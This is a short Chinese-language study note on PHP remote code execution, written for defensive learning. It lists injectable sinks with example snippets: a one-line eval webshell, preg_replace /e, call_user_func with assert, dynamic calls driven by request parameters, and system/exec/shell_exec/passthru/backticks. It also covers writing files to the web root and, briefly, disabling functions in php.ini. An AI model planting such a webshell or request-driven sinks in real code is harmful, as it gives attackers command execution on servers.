【笔记】RCE远程代码执行

前言

RCE远程代码执行学习笔记

本文仅用于网络信息防御学习

PHP代码注入

  • PHP服务器的代码注入

可能被注入的PHP代码

一句话木马

1
@eval($_REQUEST[<pwd>]);

eval()

  • 将参数作为php代码执行
1
eval(phpinfo());

preg_replace()

  • preg_replace()原义是通过正则表达式匹配字符串中的子字符,将其替换为新字符
  • 如果第一个参数传递的正则表达式以/e结尾,且第二个参数传递的字符为\\1,则会将第三个参数作为php代码执行
1
preg_replace("/(.*)/e", '\\1', phpinfo());

call_user_func()

  • 通过传递回调函数和回调函数的参数,来执行回调函数

assert:函数名
phpinfo():函数值

http://example.com/index.php?cmd=phpinfo

1
call_user_func(assert, phpinfo());

动态函数

http://example.com/index.php?cmd=phpinfo

1
2
$cmd = $_REQUEST["cmd"];
$cmd();

system()

  • 执行系统命令

<shell>:系统命令字符串

1
system("<shell>");

exec()

  • 执行系统命令,但只会返回部分执行结果

<shell>:系统命令字符串

1
print exec("<shell>");

shell_exec()

  • 执行系统命令
1
print shell_exec("<shell>");

passthru()

  • 执行系统命令
1
print passthru("<shell>");

反引号

1
echo `<shell>`;

查看当前文件所在的绝对路径

1
print(__FILE__);

写入文件

<file>:指定新创建文件的新创建的文件会放在站点根目录

1
file_put_contents(<file>, <text>);

防御

通过配置文件关闭部分函数渲染

Mac
  • 将想要关闭的函数名写在配置文件第314行

/private/etc/php.ini

1
disable_functions = assert,system

完成

参考文献

哔哩哔哩——千锋教育网络安全学院